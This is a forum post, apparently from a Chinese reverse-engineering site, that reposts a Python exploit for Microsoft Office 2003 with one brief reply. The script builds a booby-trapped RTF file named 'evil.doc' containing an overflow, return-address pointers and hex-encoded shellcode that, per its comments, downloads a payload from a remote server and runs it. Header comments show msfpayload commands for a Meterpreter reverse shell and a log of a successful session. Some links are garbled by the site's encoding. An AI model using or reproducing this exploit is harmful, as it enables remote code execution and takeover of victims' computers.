首页
社区
课程
招聘
[旧帖] Microsoft Office 2003 Home/Pro 0day 0.00雪花
发表于: 2012-1-10 10:03 1858

[旧帖] Microsoft Office 2003 Home/Pro 0day 0.00雪花

2012-1-10 10:03
1858
#!/usr/bin/python

#
# Note from the Exploit-DB team: This might be the same bug as:
# f78K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6J5j5i4m8A6k6o6N6Q4x3V1k6E0k6i4c8S2M7%4m8D9L8$3W2@1i4K6u0V1k6Y4u0S2L8h3g2%4L8%4u0C8i4K6u0r3j5X3I4G2j5W2)9J5c8X3#2S2M7%4c8W2M7W2)9J5c8X3#2G2k6s2g2D9k6i4y4Q4x3V1k6W2P5s2m8D9L8$3W2@1M7#2)9J5c8Y4N6A6L8X3c8G2N6%4y4Q4x3V1k6X3K9h3I4W2k6X3!0J5L8h3q4@1i4K6u0r3L8i4x3I4x3q4)9#2k6U0l9^5y4#2)9#2k6Y4u0@1k6W2)9#2k6Y4m8X3M7X3q4Y4L8h3g2F1N6s2y4Q4y4h3k6T1L8$3k6Q4x3X3g2J5j5R3`.`.
#

#-----------------------------------------------------------------------------------#
# Exploit: Microsoft Office 2003 Home/Pro 0day - Tested on XP SP1,2.3               #
# Authors: b33f (Ruben Boonen) && g11tch (Chris Hodges)                             #
#####################################################################################
# One shellcode to rule them all, One shellcode to find them, One shellcode to      #
# bring them all and in the darkness bind them!!                                    #
#                                                                                   #
# Greetings: offsec, corelan, setoolkit                                             #
#####################################################################################
# (1) root@bt:~/Desktop/office# ./office2003.py                                     #
#     root@bt:~/Desktop/office# mv evil.doc /var/www/                               #
#                                                                                   #
# (2) msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.111.132 LPORT=9988 X #
#     > /var/www/magic.exe                                                          #
#                                                                                   #
# (3) msf  exploit(handler) > exploit                                               #
#                                                                                   #
#   
  • Started reverse handler on 192.168.111.132:9988                            #
  • #   
  • Starting the payload handler...                                            #
  • #   
  • Sending stage (752128 bytes) to 192.168.111.128                            #
  • #   
  • Meterpreter session 1 opened (192.168.111.132:9988 -> 192.168.111.128:1073)#
  • #        at 2012-01-08 18:46:26 +0800                                               #
    #                                                                                   #
    #    meterpreter > ipconfig                                                         #
    #                                                                                   #
    #    MS TCP Loopback interface                                                      #
    #    Hardware MAC: 00:00:00:00:00:00                                                #
    #    IP Address  : 127.0.0.1                                                        #
    #    Netmask     : 255.0.0.0                                                        #
    #                                                                                   #
    #   AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport               #
    #   Hardware MAC: 00:0c:29:6c:92:42                                                 #
    #   IP Address  : 192.168.111.128                                                   #
    #   Netmask     : 255.255.255.0                                                     #
    #-----------------------------------------------------------------------------------#

    import binascii

    filename = "evil.doc"

    #-----------------------------------------------------------------------------------#
    # File Structure                                                                    #
    #-----------------------------------------------------------------------------------#
    file = (
    "{\\rt##{\shp{\sp}}{\shp{\sp}}{\shp{\sp}}{\shp{\*\shpinst\shpfhdr0\shpbxcolumn\s"
    "hpbypara\sh pwr2}{\sp{\sn {}{}{\sn}{\sn}{\*\*}pFragments}{\*\*\*}{\sv{\*\*\*\*\*"
    "\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*}9;2;ffffffffff")

    #-----------------------------------------------------------------------------------#
    # Open raw socket to download payload to parent directory as "a.exe"                #
    # ==> cmd execute "a.exe"                                                           #
    #-----------------------------------------------------------------------------------#
    magic = (
    "\x65\x62\x37\x37\x33\x31\x63\x39\x36\x34\x38\x62\x37\x31\x33\x30"
    "\x38\x62\x37\x36\x30\x63\x38\x62\x37\x36\x31\x63\x38\x62\x35\x65"
    "\x30\x38\x38\x62\x37\x65\x32\x30\x38\x62\x33\x36\x36\x36\x33\x39"
    "\x34\x66\x31\x38\x37\x35\x66\x32\x63\x33\x36\x30\x38\x62\x36\x63"
    "\x32\x34\x32\x34\x38\x62\x34\x35\x33\x63\x38\x62\x35\x34\x30\x35"
    "\x37\x38\x30\x31\x65\x61\x38\x62\x34\x61\x31\x38\x38\x62\x35\x61"
    "\x32\x30\x30\x31\x65\x62\x65\x33\x33\x34\x34\x39\x38\x62\x33\x34"
    "\x38\x62\x30\x31\x65\x65\x33\x31\x66\x66\x33\x31\x63\x30\x66\x63"
    "\x61\x63\x38\x34\x63\x30\x37\x34\x30\x37\x63\x31\x63\x66\x30\x64"
    "\x30\x31\x63\x37\x65\x62\x66\x34\x33\x62\x37\x63\x32\x34\x32\x38"
    "\x37\x35\x65\x31\x38\x62\x35\x61\x32\x34\x30\x31\x65\x62\x36\x36"
    "\x38\x62\x30\x63\x34\x62\x38\x62\x35\x61\x31\x63\x30\x31\x65\x62"
    "\x38\x62\x30\x34\x38\x62\x30\x31\x65\x38\x38\x39\x34\x34\x32\x34"
    "\x31\x63\x36\x31\x63\x33\x65\x38\x39\x32\x66\x66\x66\x66\x66\x66"
    "\x35\x66\x38\x31\x65\x66\x39\x38\x66\x66\x66\x66\x66\x66\x65\x62"
    "\x30\x35\x65\x38\x65\x64\x66\x66\x66\x66\x66\x66\x36\x38\x38\x65"
    "\x34\x65\x30\x65\x65\x63\x35\x33\x65\x38\x39\x34\x66\x66\x66\x66"
    "\x66\x66\x33\x31\x63\x39\x36\x36\x62\x39\x36\x66\x36\x65\x35\x31"
    "\x36\x38\x37\x35\x37\x32\x36\x63\x36\x64\x35\x34\x66\x66\x64\x30"
    "\x36\x38\x33\x36\x31\x61\x32\x66\x37\x30\x35\x30\x65\x38\x37\x61"
    "\x66\x66\x66\x66\x66\x66\x33\x31\x63\x39\x35\x31\x35\x31\x38\x64"
    "\x33\x37\x38\x31\x63\x36\x65\x65\x66\x66\x66\x66\x66\x66\x38\x64"
    "\x35\x36\x30\x63\x35\x32\x35\x37\x35\x31\x66\x66\x64\x30\x36\x38"
    "\x39\x38\x66\x65\x38\x61\x30\x65\x35\x33\x65\x38\x35\x62\x66\x66"
    "\x66\x66\x66\x66\x34\x31\x35\x31\x35\x36\x66\x66\x64\x30\x36\x38"
    "\x37\x65\x64\x38\x65\x32\x37\x33\x35\x33\x65\x38\x34\x62\x66\x66"
    "\x66\x66\x66\x66\x66\x66\x64\x30\x36\x33\x36\x64\x36\x34\x32\x65"
    "\x36\x35\x37\x38\x36\x35\x32\x30\x32\x66\x36\x33\x32\x30\x32\x30"
    "\x36\x31\x32\x65\x36\x35\x37\x38\x36\x35\x30\x30")

    #------------------------------------------------------------------------------------------------------------------------------#
    # Two versions of office 2003 floating around:                                                                                 #
    # (1) Standalone version, (2) XP Service Pack upgrade                                                                          #
    ################################################################################################################################
    # Unfortunatly though the exploit works perfectly for both versions they require different pointers to ESP...                  #
    #                                                                                                                              #
    # (1) 0x30324366 - CALL ESP - WINWORD.exe => "\x36\x36\x34\x33\x33\x32\x33\x30"                                                #
    # => a4dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3c8G2N6$3&6D9L8$3q4V1i4K6u0W2L8h3W2U0M7X3!0K6L8$3k6@1i4K6u0W2j5$3!0E0i4K6u0r3k6r3!0%4L8X3I4G2j5h3c8Q4x3V1j5$3i4K6u0r3x3W2)9J5c8U0y4Q4x3V1j5$3x3U0x3K6b7e0t1#2y4#2)9J5k6o6p5$3b7V1c8Q4x3X3b7@1b7K6S2p5i4K6u0V1b7V1j5@1b7#2)9J5k6o6k6r3b7e0f1&6b7f1j5&6x3U0p5K6b7g2)9J5c8V1!0X3k6X3W2U0k6g2y4f1c8q4)9J5k6h3g2^5k6g2)9J5y4X3&6T1M7%4m8Q4x3@1t1`.                          #
    #                                                                                                                              #
    # (2) 0x30402655 - PUSH ESP -> RETN - WINWORD.exe => "\x35\x35\x32\x36\x34\x30\x33\x30"                                        #
    # => b57K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3c8G2N6$3&6D9L8$3q4V1i4K6u0W2L8h3W2U0M7X3!0K6L8$3k6@1i4K6u0W2j5$3!0E0i4K6u0r3k6r3!0%4L8X3I4G2j5h3c8Q4x3V1j5%4i4K6u0r3y4#2)9J5c8U0S2Q4x3V1j5%4y4K6R3@1z5e0y4U0x3W2)9J5k6r3q4U0k6e0y4Q4x3X3b7@1y4r3x3#2i4K6u0V1z5r3u0U0x3#2)9J5k6r3b7I4x3o6u0V1j5e0R3H3k6e0m8X3y4W2)9J5c8V1!0X3k6X3W2U0k6e0t1H3x3o6y4e0f1o6y4Q4x3X3c8w2b7U0V1J5x3K6j5I4z5q4)9J5k6p5k6#2L8r3I4r3K9h3I4W2i4K6u0V1c8f1&6g2i4K6u0W2k6i4S2W2 #
    #------------------------------------------------------------------------------------------------------------------------------#

    EIP = "\x36\x36\x34\x33\x33\x32\x33\x30" #should ascii convert the Little Endian pointer

    filler = "\x30\x30\x30\x30\x38\x30\x37\x63"*2 + "\x41"*24 + "\x39\x30"*18

    buffer = "\x23"*501 + "\x30\x35" + "\x30"*40 + EIP + filler + magic

    #-----------------------------------------------------------------------------------#
    # Since we are downloading our payload from a remote webserver there are no         #
    # restrictions on payload size or badcharacters...                                  #
    #-----------------------------------------------------------------------------------#

    URL = "085K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0p5I4x3g2)9J5k6e0p5K6x3W2)9J5c8X3#2S2k6$3W2U0i4K6u0W2k6i4S2W2"
    binnu = binascii.b2a_hex(URL)

    URL2 = "00"
    nxt="{}}}}}}"
    nxt+="\x0d\x0a"
    nxt+="}"

    textfile = open(filename , 'w')
    textfile.write(file+buffer+binnu+URL2+nxt)
    textfile.close()

    [培训]科锐逆向工程师培训第53期2025年7月8日开班!

    收藏
    免费 0
    支持
    分享
    最新回复 (1)
    雪    币: 112
    活跃值: (14)
    能力值: ( LV2,RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    2
    这个虾米意思啊 就只知道复制 来点中文解释啊
    2012-1-10 10:54
    0
    游客
    登录 | 注册 方可回帖
    返回